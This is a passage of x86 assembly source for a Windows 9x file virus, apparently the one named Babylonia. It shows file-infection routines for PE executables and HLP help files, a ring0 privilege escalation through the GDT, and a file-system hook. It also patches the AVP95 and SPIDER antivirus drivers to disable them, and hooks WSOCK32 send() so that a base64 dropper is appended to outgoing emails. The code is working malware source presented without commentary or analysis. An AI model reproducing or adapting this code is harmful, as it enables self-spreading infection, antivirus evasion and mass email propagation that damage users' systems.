esi, eax ;skip first bytes(antiAV) + sub ecx, eax + @@jmp_call: + lodsb + cmp al, 0e8h ;call + je @@found + cmp al, 0e9h ;jmp + je @@found + @@loop1: + loop @@jmp_call + mov edi, [esp+(1*4)] ;put CALL at start + push 5 + pop esi + jmp @@calculate + @@found: + mov edi, esi + lodsd ;displacement + mov edx, esi + sub esi, [esp+(1*4)] ;turn to distance + add eax, esi + add eax, [esp+pehdr+40+(16*4)] ;add entrypoint(our base) + cmp eax, [esp+lolimit+(16*4)] + jb @@out + cmp eax, [esp+uplimit+(16*4)] ;valid call? + jb @@fine + @@out: + sub ecx, 4 + mov esi, edx + jmp @@loop1 + @@fine: + dec edi + @@calculate: + push esi + mov esi, edi + lodsb + not eax + mov by [ebp+(ofs instr1-ofs vcode)], al ;save modificated code + lodsd + not eax + mov [ebp+(ofs instr2-ofs vcode)], eax + pop ecx + add ecx, [esp+pehdr+40+(16*4)] ;add entrypoint + mov al, 0e8h + stosb + mov eax, [esp+vrva+(16*4)] ;our rva + sub eax, ecx + stosd ;build call to it + popa + call write ;write entrycode + popa + call write ;write virus body + sub edx, edx + push 0f8h + lea esi, [esp+peptr+4] + lodsd + pop ecx + xchg edx, eax + bts wo [esi+22], 0 + mov [esi+160], eax ;strip relocs + mov [esi+164], eax + call write ;write old header + add edx, eax + movzx ecx, wo [esi+6] + imul ecx, ecx, 40 + sub esi, -(sectn-pehdr) + call write ;write section table + @@err1: + call close + @@err: + add esp, wsize4 + + @@try_hlp: + xor eax, not 'PLH.' xor not 'EXE.' + jnz @@wsockdll + +buffer equ 0 ;stack frame +old_ofs equ 4 +old_sz equ 8 +patch1 equ 12 +wsize3 equ 16 + +mainhdr equ 0 ;buffer structure +pagedir equ 10h +syshdr equ 210h +build equ 225h + + add esp, -wsize3 ;infect HLP files... + mov esi, edi + call open + jc @@error000 + push 32*1024 + push 040000dh ;getheap + call vxd + pop ecx + mov [esp+buffer], eax + mov esi, eax ;esi=buffer.mainhdr + push 10h + pop ecx + sub edx, edx + call read ;read 10h of header + jc @@free + lodsd + xor eax, 035f3fh ;hlp signature? + jnz @@free + lodsd + lea edx, [eax+37h] ;edx=directory offset + mov ecx, 200h + lodsd + lodsd ;esi=buffer.pagedir + call read + mov ecx, eax + @@search: + dec ecx + jz @@free + cmp dwo [esi+ecx], 'SYS|' + jnz @@search + cmp dwo [esi+ecx+4], 'MET' + jnz @@search + mov eax, [esi-4] ;eax=end of file + xchg eax, [esi+ecx+8] ;section code = end of file + xchg eax, edx + push 15h + push 15h + sub esi, -(syshdr-pagedir) + pop ecx + call read ;read sys hdr + mov ecx, [esi] + pop eax + sub ecx, eax + add edx, eax + mov [esp+old_ofs], edx + mov [esp+old_sz], ecx ;save old code position/size + mov edi, [esp.buffer] + sub edi, -build + lea esi, [ebp+(ofs hlp1_s-ofs vcode)] + lea eax, [edi+(ofs _size-ofs hlp1_s)] + mov [esp.patch1], eax + push hlp1_sz + pop ecx + @@decr: + lodsb ;copy start macro + not al + stosb + loop @@decr + push edi ;edi=buffer + mov dwo [ebp+(ofs i_jmp-ofs vcode)], hlp_start + lea esi, [ebp+(ofs vend-ofs vcode)] + @@next: + add esi, -4 + mov eax, [esi] + call check + test edx, edx ;can make it directly? + jnz @@ext + mov al, 12h ;push ? + org $-1 + push 12345678h + org $-4 + stosb + mov eax, [esi] + stosd + jmp @@done_ + @@ext: + mov al, 0b8h ;mov eax, ? + stosb + mov eax, [esi] + xor eax, edx + stosd + mov al, 35h ;xor eax, ? + stosb + mov eax, edx + stosd + mov al, 50h ;push eax + stosb + @@done_: + cmp esi, ebp + jne @@next + pop eax + mov ecx, edi + sub ecx, eax ;ecx=poly code + sub eax, eax + mov dwo [esi+(ofs i_jmp-ofs vcode)], eax + push ecx + add ecx, (ofs hlp1_e-ofs p1)+(ofs hlp2_e-ofs hlp1_e) + mov eax, [esp.patch1+4] + mov wo [eax], cx ;patch macro size + sub esi, -(ofs hlp1_e-ofs vcode) + push hlp2_sz + pop ecx + rep movsb ;copy end macro + pop eax + mov esi, [esp.buffer] + sub esi, -syshdr + add eax, hlp2_e-hlp1_s + add [esi], eax + add [esi+4], eax ;fix syshdr size + mov esi, edi + mov edx, [esp.old_ofs] + mov ecx, [esp.old_sz] + sub eax, ecx ;old script too large? + jbe @@free + call read ;read old code + cmp [esi+4], "`(RR" + je @@free ;probably already infected + mov ebp, [esp.buffer] ;ebp=buffer + lea ecx, [edi+eax] + sub ecx, ebp ;ecx=our size + add ecx, -syshdr + mov edx, [ebp.mainhdr+12] + lea esi, [ebp.syshdr] + call write ;write our code + mov esi, [esp.buffer] + push 10h + add [esi.mainhdr+12], eax + sub edx, edx + pop ecx + call write ;write main header + mov edx, [esi.mainhdr+4] + sub edx, -37h + mov ecx, 200h + add esi, pagedir + call write ;write directory + @@free: + push dwo [esp+buffer] + push 040000eh ;freeheap + call vxd + pop eax + call close ;close file + @@error000: + add esp, wsize3 + + @@wsockdll: +; xor eax, not 'EXE.' xor not 'PLH.' xor not 'LLD.' + xor eax, 01c000c00h + jnz @@shit + IF DEBUG EQ FALSE + mov eax, [esi-4] + mov esi, [esi-8] + not eax + xchg eax, esi + not eax + cmp esi, not '23KC' + jne @@shit + cmp eax, not 'OSW\' + jne @@shit + ENDIF + +obufer equ 0 ;stack frame +header equ obufer+3ch +pe_hdr equ header+4 +section equ pe_hdr+0f8h +export equ section+200h +vofs equ export+4 +vraw equ vofs+4 +etable equ vraw+4 +wsize1 equ etable+(4*20) + + add esp, -wsize1 ;patch WSOCK32.DLL... + mov esi, edi + call open + jc @@error0 + call getsize + mov edi, eax + call check_size + jz @@error1 + sub edx, edx + mov ecx, 40h + lea esi, [esp+obufer] + call read + cmp wo [esp+obufer], 'ZM' + jne @@error1 + push 0f8h + pop ecx + mov edx, [esp+header] + cmp edx, edi + jae @@error1 ;point outside of the file? + lea esi, [esp+pe_hdr] + call read + jc @@error1 + call check_file + jz @@error1 + call write ;write pe header + add edx, eax + movzx ecx, wo [esi+6] + push ecx + imul ecx, ecx, 40 + lea esi, [esp+section+4] + call read ;read section table + pop ecx + @@writeable: + bts dwo [esi+36], 31 ;make all sections writeable + sub esi, -40 + loop @@writeable + mov [esi-40+36], 0c0000040h + mov ecx, [esi-40+8] ;increase last section + push ecx + add ecx, [esi-40+20] + mov [esp+vraw+4], ecx ;raw of our patch + pop ecx + add ecx, [esi-40+12] + mov [esp+vofs], ecx ;rva of our patch + add dwo [esi-40+8], (ofs pend-ofs pstart) + mov ebx, [esi-40+8] + cmp ebx, [esi-40+16] + jbe @@fit + mov ecx, [esp+pe_hdr+60] + dec ecx + add ebx, ecx + not ecx + and ebx, ecx + mov [esi-40+16], ebx ;align + @@fit: + xchg eax, ecx + lea esi, [esp+section] + call write + mov eax, [esp+pe_hdr+120] ;eax=export table + call rva2raw + xchg eax, edx + push 4 + pop ecx + sub edx, -28 + lea esi, [esp+export] + call read ;read export table addresses + mov eax, [esi] + call rva2raw + xchg eax, edx + push (4*20) + pop ecx + lea esi, [esp+etable] ;read 20 exports + call read + mov eax, [esp+vofs] + mov edi, [esp+pe_hdr+52] ;wsock32 base + sub eax, -(ofs send-ofs pstart) + xchg [esi+(4*18)], eax ;hook send + add edi, eax + mov [ebp+(ofs oldsend-ofs vcode)], edi + mov [ebp+(ofs _send-ofs vcode)], edi + call write + mov edx, [esp+vraw] + push (ofs pend-ofs pstart) + pop ecx + call delta + sub ebp, -(ofs pstart-ofs vcode) + xchg esi, ebp + call write ;write our patch + @@error1: + call close + @@error0: + add esp, wsize1 + + @@shit: + add esp, wsize2 ;release tmp buffer + mov wo [ebp+(ofs jmpcc-ofs vcode)], 0850fh + popa + + @@noopen: + push 6 + push 1Ch + pop ebx + pop ecx ;total=6 paramz + @@nparam: + mov eax, [ebp+ebx] ;copy paramz from old frame + push eax ;to new frame + add ebx, -4 + loop @@nparam + db 0b8h ;mov eax, ? + oldhook dd 0 + call [eax] ;call old hookz + add esp, 6*4 + + backdoor equ $ + jmp @@closed + call @@delta + @@delta: + pop ecx + add ecx, (ofs my_send-ofs @@delta) + mov wo [ecx-(ofs my_send-ofs backdoor)], ((ofs @@closed-(ofs backdoor+2))*100h)+0ebh + mov ebx, [ebp+1ch] ;ioreq + push esi + mov esi, [ebx+14h] + lodsd ;c:\_ + sub eax, eax + mov ebx, eax + @@byte: + lodsb ;get filename char + inc ah + sub al, 'A' + or bl, al ;build address + cmp ah, 8 + je @@doneb + shl ebx, 4 + jmp @@byte + @@doneb: + mov [ebx], ecx ;patch requested address + pop esi + @@closed: + + pop ebx + pop ecx + leave + ret +hook endp + + +delta proc + call @@delta + @@delta: + pop ebp + add ebp, -(ofs @@delta-ofs vcode) + ret +delta endp + + +check_file proc + mov eax, [esi] + not eax + cmp eax, not 'EP' + jne @@error + cmp wo [esi+4], 14ch ;386 + jb @@error + cmp wo [esi+4], 14eh ;586 + ja @@error + xor eax, edx ;(not('PE')xor(pe_ofs)xor(entry)) + bswap eax + xor eax, [esi+40] + cmp [esi+8], eax ;infected? + mov [esi+8], eax + db 066h, 0b8h ;mov ax, ? + @@error: + sub eax, eax + ret +check_file endp + + +gdt equ 0 +idt equ 6 +ring0_cs equ 12 +ring0_ds equ 16 +jmpfar equ 20 +wsize equ 26 + +kernel32 equ 0bff70000h + +virusmain proc + pushf + pusha + add esp, -wsize + cld + sub eax, eax + call @@seh + mov esp, [esp+8] ;hmm... SEH... :/ + jmp @@installed + @@seh: + push dwo fs:[eax] + mov fs:[eax], esp + mov esi, [kernel32+80h+120] ;get kernel32 APIs... + mov esi, [esi] + sub esi, -(kernel32+24) ;esi=export directory+24 + lodsd + push eax + lodsd + push eax + lodsd + xchg ebx, eax + pop ebp ;ebp=RVA table + pop ecx ;ecx=number of names + lodsd + xchg esi, eax ;esi=names table + xchg esi, ebx ;ebx=ordinal table + mov edx, -kernel32 + sub esi, edx + sub ebp, edx + sub ebx, edx ;edx=-kernel32 + sub edi, edi + @@loopy: + inc edi ;edi=ordinal counter + lodsd ;eax=API name string + pusha + sub eax, edx + xchg eax, esi + push CRC_INIT ;calculate crc of string + pop ecx + @@next_byte: + lodsb + test al, al + jz @@done + xor cl, al + mov al, 8 + @@next_bit: + shr ecx, 1 + jnc @@poly + xor ecx, CRC_POLY + @@poly: + dec al + jnz @@next_bit + jmp @@next_byte + @@done: + call @@delta1 + @@delta1: + pop esi + add esi, (ofs _openfile-ofs @@delta1) + cmp ecx, 12345678h ;crcz of API + org $-4 + crc + je @@patch_api + sub esi, -((ofs _getfattr-ofs vcode)-(ofs _openfile-ofs vcode)) + cmp ecx, 12345678h + org $-4 + crc + je @@patch_api + sub esi, -((ofs _writefile-ofs vcode)-(ofs _getfattr-ofs vcode)) + cmp ecx, 12345678h + org $-4 + crc + je @@patch_api + add esi, ((ofs _closehandle-ofs vcode)-(ofs _writefile-ofs vcode)) + cmp ecx, 12345678h + org $-4 + crc + je @@patch_api + sub esi, -((ofs _seekfile-ofs vcode)-(ofs _closehandle-ofs vcode)) + cmp ecx, 12345678h + org $-4 + crc + je @@patch_api + add esi, (ofs _loadl-ofs vcode)-(ofs _seekfile-ofs vcode) + cmp ecx, 12345678h + org $-4 + crc + je @@patch_api + add esi, (ofs _freel-ofs vcode)-(ofs _loadl-ofs vcode) + cmp ecx, 12345678h + org $-4 + crc + je @@patch_api + sub esi, -((ofs _getproc-ofs vcode)-(ofs _freel-ofs vcode)) + cmp ecx, 12345678h + org $-4 + crc + je @@patch_api + add esi, (ofs _gsystime-ofs vcode)-(ofs _getproc-ofs vcode) + cmp ecx, 12345678h + org $-4 + crc + je @@patch_api + sub esi, -((ofs _fdelete-ofs vcode)-(ofs _gsystime-ofs vcode)) + cmp ecx, 12345678h + org $-4 + crc + je @@patch_api + add esi, (ofs _readfile-ofs vcode)-(ofs _fdelete-ofs vcode) + cmp ecx, 12345678h + org $-4 + crc + je @@patch_api + add esi, (ofs _getmhandle-ofs vcode)-(ofs _readfile-ofs vcode) + cmp ecx, 12345678h + org $-4 + crc + je @@patch_api + sub esi, -((ofs _winexec-ofs vcode)-(ofs _getmhandle-ofs vcode)) + cmp ecx, 12345678h + org $-4 + crc + jne @@end_loopy + + @@patch_api: + movzx eax, wo [ebx+(edi*2)] ;get ordinal + dec eax + mov eax, [ebp+(eax*4)] ;get rva + sub eax, edx + mov [esi], eax ;got it! + @@end_loopy: + popa + dec ecx + jnz @@loopy ;all APIs scanned + + call delta + lea eax, [ebp+(ofs wsock-ofs vcode)] + push eax + db 0b8h + _loadl dd 0 + call eax ;load wsock32.dll + xchg eax, ecx + jecxz @@suxx + push ecx ;for FreeLibrary + call @@send + db 'send', 0 + @@send: + push ecx + db 0b8h+7 ;GetProcAddress + _getproc dd 0 + call edi + cmp by [eax], 0e8h ;the difference between masters + jne @@isnt ;and pupils ;) + cmp by [eax+5], 0b8h + jne @@isnt + mov eax, [eax+6] ;get real addy :) + @@isnt: + mov [ebp+(ofs oldsend-ofs vcode)], eax + db 0b8h + _freel dd 0 + call eax + @@suxx: + + push 8 + push ebp + pop esi + push (ofs vend-ofs vcode)/4 ;make sure we're commited + pop ecx + rep lodsd + pop eax + lea edi, [ebp+(ofs myname-ofs vcode)] + xchg eax, ecx + rep stosd + + mov ebp, esp ;jmp2ring0... + push 1 + sgdt [ebp+gdt] ;get global descriptor table + sidt [ebp+idt] ;get interrupt table + mov esi, [ebp+gdt.base] + mov edi, esi + movzx ecx, wo [ebp+gdt.limit] + pop ebx + @@search_gdt: + sub eax, eax + cmp wo [esi.limit_l], 0ffffh + jne @@next_descriptor + cmp by [esi.limit_h], 0cfh ;descriptor start at 0? + jne @@next_descriptor + cmp wo [esi.base_l], ax ;and cover the whole range? + jne @@next_descriptor + cmp by [esi.base_m], al + jne @@next_descriptor + cmp by [esi.base_h], al + jne @@next_descriptor ;is a flat descriptor! + cmp [esi.access], 9bh + jne @@no_code ;is a code descriptor? + mov eax, esi + sub eax, [ebp+gdt.base] + mov [ebp+ring0_cs], eax ;yes, save it! + shl ebx, 1 + jmp @@next_descriptor + @@no_code: + cmp [esi.access], 93h + jne @@next_descriptor ;is a data descriptor? + mov eax, esi + sub eax, [ebp+gdt.base] + mov [ebp+ring0_ds], eax ;yes, save it! + shl ebx, 1 + @@next_descriptor: + lodsd + lodsd + bt ebx, 2 ;our 2 descriptors found? + jc @@search_done + loop @@search_gdt + jmp @@installed ;flat descriptors dont found + @@search_done: + mov esi, edi ;esi=1st entry + lodsd ;edi=nul entry + lodsd + test eax, eax ;nul entry isnt empty? + jnz @@installed ;then already resident + pusha + movsd + movsd ;backup 1st descriptor + popa + mov eax, dwo [ebp+ring0_cs] + mov wo [esi.selector], ax ;ring0 code selector + mov wo [esi.attrib], 0ec00h + call @@over_ring0_code ;[esp]=ring0 code + + @@ring0_code: + mov ds, ax + mov es, ax ;setup data access + xchg esi, edi + movsd ;restore 1st descriptor + movsd + + mov edi, ebp + mov ebx, [edi.gdt.base] + movzx ecx, wo [edi.gdt.limit] + call protect ;make gdt read only + mov ebx, [edi.idt.base] + movzx ecx, wo [edi.idt.limit] + call protect ;make idt read only + + push 00270005h + call vxd ;VXDLDR GetDeviceList + @@next: + mov ebx, [eax+5] ;VxD_Desc_Block *DI_DDB + sub ebx, 0C0000000h + jc @@next_vxd + lea ecx, [ebx+0C000000Ch] ;Name_0 + cmp [ecx], 'DIPS' ;'SPIDER ' + je @@patch + cmp [ecx], '9PVA' ;'AVP95 ' + jne @@next_vxd + @@patch: + push 0000D500h ;R0_OPENCREATFILE + pop esi + call ScanVxd + inc esi ;R0_OPENCREAT_IN_CONTEXT + call ScanVxd + @@next_vxd: + mov eax, [eax] + or eax, eax + jnz @@next + + push 9 + push eax + push eax + push eax + push eax + push eax + push 1 + push 64/4 ;memory for email shitz + push 010053h + call vxd + add esp, 8*4 + test eax, eax + jz @@fucked + mov [ebp+(ofs mem_temp-ofs vcode)], eax + @@fucked: + push (ofs vend-ofs vcode) + push 9 + push eax + push eax + push eax + push eax + push eax + push 1 + push (((ofs vend-ofs vcode)+4095)/4096) + push 010053h ;PageAlloc + call vxd + add esp, 8*4 + test eax, eax + jz @@fuck + mov edi, eax + xchg eax, ecx + xchg ecx, [esp] ;pop size/push &hook + push ebp + pop esi + rep movsb + mov [edi+(ofs i_jmp-ofs vcode)-(ofs vend-ofs vcode)], ecx + mov [edi+(ofs socket_out-ofs vcode)-(ofs vend-ofs vcode)], ecx + mov wo [edi+(ofs jmpcc-ofs vcode)-(ofs vend-ofs vcode)], 0850fh + push 00400067h ;install ifs hook + call vxd + mov [edi+(ofs oldhook-ofs vcode)-(ofs vend-ofs vcode)], eax + @@fuck: + pop eax + retf + + @@over_ring0_code: + pop eax + mov ebx, eax + shr eax, 16 + mov wo [esi.offset_l], bx ;address of routine + mov wo [esi.offset_h], ax + push 0 + pop dwo [ebp+jmpfar.jmpofs32] + mov wo [ebp+jmpfar.selectr], 8 ;jmp to callback 1 + mov eax, dwo [ebp+ring0_ds] ;set ring0 data + push ds + push es + cli + call fwo [ebp+jmpfar] ;call our ring0 code + cli + pop es + pop ds + @@installed: + sub eax, eax + pop dwo fs:[eax] ;remove SEH + pop ecx + + call delta + mov eax, [ebp+(ofs mem_temp-ofs vcode)] + test eax, eax + jz @@no_ready + + push eax + call @@over + +include updater.inc + + @@over: + call _aP_depack_asm ;unpack updater data + push eax + push 2 + pop ecx + lea esi, [ebp+(ofs dropname-ofs vcode)] + call r3_open + pop ecx + jz @@no_ready + mov esi, [ebp+(ofs mem_temp-ofs vcode)] + call r3_write + call r3_close + + push 0 + lea eax, [ebp+(ofs dropname-ofs vcode)] + push eax + db 0b8h + _winexec dd 0 + call eax + + @@no_ready: + + cmp dwo [ebp+(ofs i_jmp-ofs vcode)], 0 + je @@pe_exe + + add esp, wsize + popa + popf + add esp, (ofs vend-ofs vcode) + sub eax, eax ;stop enumeration + ret 8 ;return to callback + @@pe_exe: + lea eax, [esp+wsize+(9*4)] + mov edi, [eax] + sub edi, 5 ;return place + mov [eax], edi + mov al, not 0b8h + instr1 equ by $-1 + not eax + stosb + mov eax, 12345678h + instr2 equ dwo $-4 + not eax + stosd + add esp, wsize + popa + popf + ret ;return to same place! +virusmain endp + + +hlp1_s = $ + dw 4 + dw (ofs _label1-ofs _label2) +_label2 = $ + db "RR(`USER32.DLL',`EnumWindows',`SU')", 0 +_label1 = $ + + dw 4 +_size dw 0 +p1 = $ + db "EnumWindows(`" +hlp1_e = $ +hlp1_sz = hlp1_e-hlp1_s + jmp esp + db "',666)", 0 ;29A +hlp2_e = $ +hlp2_sz = hlp2_e-hlp1_e + + +check proc + call checkv + jc @@again_1 + sub edx, edx + ret + @@again_1: + mov ebx, eax + @@again: + mov eax, ebx + call rnd + xor eax, edx + call checkv ;eax was validated? + jc @@again + xchg eax, edx ;edx is valid modifier? + call checkv + jc @@again + xchg edx, eax + ret +check endp + + +rnd proc + call @@2 + dd 12345678h + @@2: + pop edx + sub [edx], 12345678h + org $-4 +v2 dd 87654321h + mov edx, [edx] + xor [ebp+(ofs v2-ofs vcode)], edx ;get rnd number + ret +rnd endp + + +checkv proc + pusha + push 4 + pop ecx + @@1: + cmp al, ' ' + jbe @@error + cmp al, 0f0h + ja @@error + cmp al, '"' + jz @@error + cmp al, "'" + jz @@error + cmp al, "`" + jz @@error + cmp al, "\" + jz @@error + ror eax, 8 ;check for invalid characters + loop @@1 ;for hlp script + clc + mov cl, 12h + org $-1 + @@error: + stc + popa + ret +checkv endp + + +open proc + call getatt + mov [ebp+(ofs attr-ofs vcode)], eax + sub ecx, ecx + call setatt + mov [ebp+(ofs fname-ofs vcode)], esi + mov eax, 0D500h + push 1h + sub ecx, ecx + mov ebx, 2022h + pop edx + call io + mov [ebp+(ofs handle-ofs vcode)], eax + ret +open endp + + +getsize proc + mov eax, 0D800h + __2_: + jmp __2__ +getsize endp + + +close proc + mov eax, 0D700h + call __2_ + mov ecx, 12345678h + attr equ dwo $-4 + mov esi, 12345678h + fname equ dwo $-4 ;set old file attribute +close endp + + +setatt proc + mov eax, 4301h + __2__: + jmp __2___ +setatt endp + + +getatt proc + mov eax, 4300h + __2___: + jmp __2 +getatt endp + + +write proc + mov eax, 0D601h + jmp __2___ +write endp + + +read proc + mov eax, 0D600h + __2: + mov ebx, 12345678h + handle equ dwo $-4 +read endp + + +io proc + call delta + mov [ebp+(ofs eax_value-ofs vcode)], eax + mov eax, 00400032h ;Ring0_IO + xchg eax, [esp] + push eax +io endp + + +vxd proc + pop eax + call delta + mov wo [ebp+(ofs @@int-ofs vcode)], 20cdh + sub eax, ebp + add eax, -((ofs @@jmp-ofs vcode)+4) + mov [ebp+(ofs @@jmp-ofs vcode)], eax + pop dwo [ebp+(ofs @@address-ofs vcode)] ;dynamic VxDCall building + mov eax, 12345678h + eax_value equ dwo $-4 + @@int: + int 20h + @@address dd 0 + db 0e9h + @@jmp dd 0 +vxd endp + + +bound_ db 'OUNDARY="' +bound_sz = $-ofs bound_ + db 0 + +rva2raw proc + push esi + push ecx + push ebx + lea esi, [esp+section+(4*4)] ;first section + movzx ecx, wo [esp+pe_hdr+6+(4*4)] + @@section: + mov ebx, eax + sub ebx, [esi+12] + cmp [esi+8], ebx + jae @@found ;point inside section + sub esi, -40 + loop @@section + sub ebx, ebx ;signal error + jmp @@error + @@found: + add ebx, [esi+20] ;convert to raw + @@error: + mov eax, ebx + pop ebx + pop ecx + pop esi + ret +rva2raw endp + + +check_size proc + test eax, eax + jz @@error + cmp eax, 2*1024*1024 + jae @@error ;bigger than 2mb + cmp eax, 8*1024 + jbe @@error ;smaller than 4kb + sub edx, edx + push 17 + pop ecx ;if((fsize mod 17) = 15) + div ecx ;lexo32 ;-) + sub edx, 15 + db 066h, 0b8h ;mov ax, ? + @@error: + sub eax, eax + ret +check_size endp + + +pstart equ this byte ;wsock32.dll code... + + dd 0 + db 'C:\_' +driver db 8 dup (0) ;drivername + db '.---', 0 + +send proc + call init2 + mov eax, 12345678h + _send equ dwo $-4 + jmp eax ;jmp to hmem send +send endp + + +init2 proc + cld + pusha + call @@delta + @@delta: + pop ebp + add ebp, -(ofs @@delta-ofs pstart) ;get delta in wsock32.dll + mov ebx, ebp + lea edi, [ebx+(ofs driver-ofs pstart)] + push 8 + pop ecx + @@byte: + rol ebx, 4 + mov al, bl + and al, 01111b ;convert address to filename + add al, 'A' + stosb + loop @@byte + add ebx, 4 + push ebx + db 0b8h + _getfattr dd 0 ;call backdoor + call eax + mov eax, 90909090h + lea edi, [ebp+((ofs send-ofs pstart))] + stosd ;clean calls to install + stosb + mov eax, [ebp] ;get ring0 interface code + test eax, eax + jz @@damaged ;cant get the interface + mov [ebp+(ofs _send-ofs pstart)], eax ;set jmps to my hmem handlers + @@damaged: + popa + ret +init2 endp + +pend equ this byte + + +include unpack.inc + + +ScanVxd proc + pusha + mov edi, [ebx+0C0000018h] ;Control_Proc_0 + @@page: + lea ecx, [edi+4] ;check presence for + test ecx, 00000FFFh + jz @@check ;to each new page encountered + @@mov: + inc edi + cmp [edi], esi ;B8 + jne @@page + cmp by [edi-1], 0B8h + jne @@page + mov dwo [edi], -1 ;R0_xxx <-- 0xFFFFFFFF + jmp @@page + @@check: + pusha + sub esp, 28 + mov esi, esp + push 28 + push esi ;esi = MEMORY_BASIC_INFO + push ecx + push 00010134h + call vxd ;VMMcall PageQuery + bt dwo [esi+10h], 3 ;mbi_state & MEM_COMMIT + lea esp, [esp+4*3+28] + popa + jc @@mov ;will not fault? + popa + ret +ScanVxd endp + + + IF DEBUG EQ TRUE +dropname db 'C:\GOAT.EXE', 0 + ELSE +dropname db 'C:\BABYLONIA.EXE', 0 + ENDIF + + +myname dd 0 +mem_temp dd 0 +mem dd 0 +sent dd 0 +uudropper dd 0 +uusize dd 0 +b64dropper dd 0 +b64size dd 0 + + +my_send proc + call init + pusha + call delta + mov esi, [esp+(8*4)+(1*4)+4] ;send() buffer + db 0b9h + socket_out dd 0 ;we're monitoring a specific socket? + jecxz @@all + cmp [esp+(8*4)+(1*4)+0], ecx ;if so, then make sure is our + je @@monitor + jmp @@done + + @@all: + cmp [esi], 'ATAD' ;email is being send! + jne @@done + mov eax, [esp+(8*4)+(1*4)+0] ;monitor this socket only now + mov [ebp+(ofs socket_out-ofs vcode)], eax + sub eax, eax + mov [ebp+(ofs boundary-ofs vcode)], eax ;init MIME fieldz + mov [ebp+(ofs sent-ofs vcode)], eax + jmp @@done + + @@monitor: + mov ecx, [esp+(8*4)+(1*4)+8] ;size + mov edi, esi + mov al, '.' ;search . + push ecx + @@cont_dot: + repne scasb ;not end_of_email yet + jne @@no_dot ;so, check for MIME + cmp dwo [edi-2], 0a0d2e0ah + jne @@cont_dot ;make sure is the end_of_email sign + pop ecx ;ecx=size of buffer + call uu_send + sub eax, eax ;ready to infect next email + mov [ebp+(ofs socket_out-ofs vcode)], eax + jmp @@done ;send the . + + @@no_dot: + pop ecx + dec ecx ;monitor MIME emailz + dec ecx + dec ecx ;size-3, since we load DWORDs + test ecx, ecx + js @@done ;buffer smaller than 2, exit! + @@scan: + push ecx + lodsd + dec esi + dec esi + dec esi + push esi + and eax, not 20202020h ;eax=upcase of 1st 4 letterz + db 0bah + boundary dd 0 + test edx, edx ;we already found the boundary? + jnz @@boundary_found + sub eax, 'NUOB' + jnz @@bogus ;maybe a boundary? + lea edi, [ebp+(ofs bound_-ofs vcode)] + @@loop_1: + cmp by [edi], ah + je @@done_1 + lodsb + cmp al, 'a' + jb @@up + cmp al, 'z' ;check string + ja @@up + and al, not 20h + @@up: + inc edi + not al + cmp by [edi-1], al + je @@loop_1 + @@done_1: + jne @@bogus + mov edi, [ebp+(ofs mem-ofs vcode)] ;copy MIME boundary to buffer + mov [ebp+(ofs boundary-ofs vcode)], edi + @@next_b: + lodsb + cmp al, '"' + je @@copied + stosb + jmp @@next_b + @@copied: + sub eax, eax ;now we have all we need for + stosd ;a perfect send :) + jmp @@bogus + + @@boundary_found: + push esi + dec esi + dec ecx + sub eax, eax ;search for boundary + @@match: + lodsb + inc edx + cmp by [edx], ah + je @@is_boundary + cmp by [edx], al ;compare stringz + je @@match + @@is_boundary: + xchg edi, esi ;edi=end of boundary+1 + pop esi + jne @@bogus ;end reached and all match? + cmp al, '-' + jne @@bogus + scasb ;found last boundary! + jne @@bogus + pop eax ;fix stack + mov [esp], edi + mov wo [edi-2], 0A0Dh ;turn to normal boundary + sub edi, [esp+(8*4)+(1*4)+4+4] ;subtract buffer address + xchg [esp+(8*4)+(1*4)+8+4], edi ;new size + mov [ebp+(ofs eax_value2-ofs vcode)], edi ;save old for return + push dwo [esp+(8*4)+(1*4)+8+4] ;size + push dwo [esp+(8*4)+(1*4)+8+4] ;buffer + call safesend + pop edi ;interception point + mov wo [edi-2], '--' ;restore user buffer + mov [ebp+(ofs eax_value2-ofs vcode)], eax + jc @@error + call uu_send + mov eax, [ebp+(ofs eax_value2-ofs vcode)] ;how much they want send + mov ebx, [esp+(8*4)+(1*4)+8] ;how much we already send + sub eax, ebx + jz @@gran_finale ;done + mov [esp+(8*4)+(1*4)+8], eax ;send rest + add [esp+(8*4)+(1*4)+4], ebx ;starting from last send byte + push dwo [esp+(8*4)+(1*4)+8] ;size + push dwo [esp+(8*4)+(1*4)+8] ;buffer + call safesend ;send the remainder of user buffer + jc @@error + @@gran_finale: + mov edi, [ebp+(ofs boundary-ofs vcode)] + mov esi, edi + @@next1: + lodsb + test al, al + jnz @@next1 ;search end + xchg edi, esi + dec edi + add al, '-' + stosb ;make last boundary + stosb + sub edi, esi ;calculate the size + push edi ;size + push esi + call safesend ;send last boundary + @@error: + popa + db 0b8h + eax_value2 dd 0 ;return no error + ret 4*4 + + @@bogus: + pop esi + pop ecx + dec ecx + jnz @@scan ;bahh... to far to a loop + @@done: + popa + mov eax, 12345678h + oldsend equ dwo $-4 + jmp eax +my_send endp + + +script db 'Content-Type: application/octet-stream; name="', 1, '"', 13, 10 + db 'Content-Disposition: attachment; filename="', 1, '"', 13, 10 + db 'Content-Transfer-Encoding: base64', 13, 10, 13, 10 + db 0 +script_sz = $-ofs script + + +uu_send proc + pusha + sub eax, eax + cmp [ebp+(ofs sent-ofs vcode)], eax + jne @@already + mov edi, [ebp+(ofs boundary-ofs vcode)] + cmp edi, eax + je @@skip_header + add edi, 100h ;work after boundary + push edi + lea esi, [ebp+(ofs script-ofs vcode)] + @@expand: + lodsb + not al + test al, al + jz @@send_header + cmp al, 1 + jnz @@name + call ninsert ;insert exe name + db 0b0h + @@name: + stosb + jmp @@expand + @@send_header: + pop esi + sub edi, esi + push edi ;size + push esi ;buffer + call safesend ;send mime header + jc @@fuxkx + mov edi, [ebp+(ofs b64size-ofs vcode)] + mov esi, [ebp+(ofs b64dropper-ofs vcode)] + jmp @@block + @@skip_header: + mov edi, [ebp+(ofs uusize-ofs vcode)] + mov esi, [ebp+(ofs uudropper-ofs vcode)] + @@block: + mov eax, 4*1024 ;block size=4kb + cmp eax, edi + jb @@low + mov eax, edi ;send the remainder + @@low: + push eax ;size + push esi ;buffer + call safesend + jc @@fuxkx + add esi, eax + sub edi, eax + jnz @@block ;blockz left? + @@fuxkx: + mov [ebp+(ofs sent-ofs vcode)], ebp + @@already: + popa + ret +uu_send endp + + +init proc + pusha + cld + sub eax, eax + call delta + cmp [ebp+(ofs mem-ofs vcode)], eax + jne @@inited ;we already inited our dropper? + mov eax, [ebp+(ofs mem_temp-ofs vcode)] + mov [ebp+(ofs mem-ofs vcode)], eax + test eax, eax + jz @@inited + push eax + call @@over + +include dropper.inc + + @@over: + call _aP_depack_asm ;unpack dropper data + + add esp, -8*2 + push esp + db 0b8h + _gsystime dd 0 + call eax + mov bl, 